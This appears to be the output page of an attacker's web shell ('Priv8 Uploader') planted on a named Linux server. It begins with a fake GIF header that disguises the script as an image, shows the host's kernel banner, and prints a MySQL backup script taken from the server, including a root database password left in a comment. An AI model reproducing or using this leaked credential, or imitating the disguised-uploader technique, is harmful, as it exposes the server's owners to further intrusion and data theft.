GIF89a;
Priv8 Uploader By InMyMine7
Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
#!/bin/bash
# Add the backup dir location, MySQL root password, MySQL and mysqldump location
DATE=$(date +%Y-%h-%d_%H:%M:%S)
BACKUP_DIR="/backup/mysql_db_backup"
MYSQL_USER="root"
#MYSQL_PASSWORD="1u7wvY)2h|0>"
# To create a new directory in the backup directory location based on the date
mkdir -p $BACKUP_DIR/$DATE
# To get a list of databases
databases=`mysql -u $MYSQL_USER -e "SHOW DATABASES;" | grep -Ev "(Database|information_schema)"`
# To dump each database in a separate file
for db in $databases; do
echo $db
mysqldump --force --opt --skip-lock-tables --user=$MYSQL_USER --databases $db | gzip > "$BACKUP_DIR/$DATE/$db.sql.gz"
done
find /backup/mysql_db_backup -type f -mtime +7 -exec rm {} \;